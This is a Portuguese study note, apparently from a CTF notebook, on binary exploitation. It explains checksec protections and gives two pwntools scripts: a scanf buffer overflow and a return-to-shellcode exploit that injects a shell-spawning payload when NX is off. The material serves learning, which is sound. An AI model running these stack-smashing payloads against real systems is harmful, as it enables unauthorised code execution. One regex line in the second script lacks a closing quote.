Para identificar que tipo de exploração é possível dentro do binário fornecido, você pode usar o: ``` checksec --file=executable.bin ``` A saída do comando pode lhe dizer algumas informações uteis: ```markdown - NX - NX (No eXecute) é uma proteção que marca a pilha como não executável. Isso impede que shellcode injetado na pilha seja executado diretamente. - RELRO - RELRO (Relocation Read-Only) protege contra ataques que modificam a GOT (Global Offset Table), uma tabela usada para resolver endereços de funções dinâmicas. - STACK CANARY - É uma proteção que insere um valor aleatório (canário) na pilha antes do endereço de retorno. Se um estouro de buffer sobrescrever o canário, o programa detecta a alteração e encerra a execução. - PIE - PIE (Position Independent Executable) torna o binário independente de posição, randomizando os endereços de memória onde o código é carregado (uma forma de ASLR - Address Space Layout Randomization). - RPATH - RPATH define caminhos fixos para bibliotecas dinâmicas que o binário usa - RUNPATH - Similar ao RPATH, mas com prioridade mais baixa (usado depois de LD_LIBRARY_PATH). - FORTIFY - FORTIFY_SOURCE é uma proteção que substitui certas funções inseguras (ex.: strcpy) por versões seguras que verificam limites. ``` Exemplo de exploração com entrada com scanf. ```python #!/usr/bin/env python3 from pwn import * context.update(arch="amd64", os="linux") payload = b"A" * (0x70 - 0x8) payload += p32(0xc0d3) payload += p32(0xc0ff33) process = process("./binary.bin") # process = remote("xxx", 9002) process.clean() process.sendline(payload) process.interactive() ``` Exemplo de exploração para NX desativado: ```python #!/usr/bin/env python3 # # Exploit: return to shellcode # Smash the stack to inject a shellcode and return to that shellcode. # This exploit requires an executable stack (i.e., NX is off) from pwn import * import re context.update(arch="amd64", os="linux") process = process("./binary.bin") process = remote("xxx", 9004) text = process.recvline_containsS("I'm waiting for you at", timeout=3) addr_search = re.search(r'(0x[0-9a-f]+), text, re.IGNORECASE) buf_address = int(addr_search.group(1), 16) print("Buffer is @ 0x{:016x}".format(buf_address)) payload = b"A" * 0x50 + b"B" * 8 ret_address = buf_address + len(payload) + 8 payload += p64(ret_address) + asm(shellcraft.sh()) process.sendline(payload) process.interactive() ``` Ilustração do que o código faz: ![[Pilha de Memória com NX Desabilitado.png]]